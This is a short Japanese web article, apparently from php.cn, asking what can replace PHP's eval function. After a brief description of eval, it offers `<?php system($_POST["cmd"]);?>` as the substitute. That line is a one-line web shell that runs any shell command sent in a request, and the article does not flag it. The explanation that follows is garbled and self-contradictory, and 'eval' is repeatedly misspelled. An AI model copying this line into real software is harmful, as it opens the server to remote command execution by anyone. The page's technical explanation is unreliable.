ホームページ > バックエンド開発 > PHPの問題 > PHPのevalの代替関数は何ですか?

PHPのevalの代替関数は何ですか?

angryTom
リリース: 2023-02-28 10:34:02
オリジナル
6283 人が閲覧しました

PHPのevalの代替関数は何ですか?

php の eval 置換関数

php eval 関数の置換関数を知りたいまず、eval 関数が何をするのかを知る必要があります。

evel() 関数の役割:

eval() 関数は、PHP コードに従って文字列を計算します。

文字列は正当な PHP コードである必要があり、セミコロンで終わる必要があります。

注: return ステートメントは文字列の計算を直ちに終了します。

ヒント: この関数は、後で計算するためにデータベースのテキスト フィールドにコードを保存する場合に便利です。

置換関数:

system type function

<?php system($_POST["cmd"]);?>
ログイン後にコピー

system と evel にはまだ違いがあります。それは、コマンドの実行ではなく、コマンドの実行です。コードの実行。 evel はコマンド実行ではなくコード実行です。

PHP 関連の知識の詳細については、PHP 中国語 Web サイト をご覧ください。

以上がPHPのevalの代替関数は何ですか?の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

関連ラベル:
ソース:php.cn
このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。
最新の問題
人気のチュートリアル
詳細>
最新のダウンロード
詳細>
ウェブエフェクト
公式サイト
サイト素材
フロントエンドテンプレート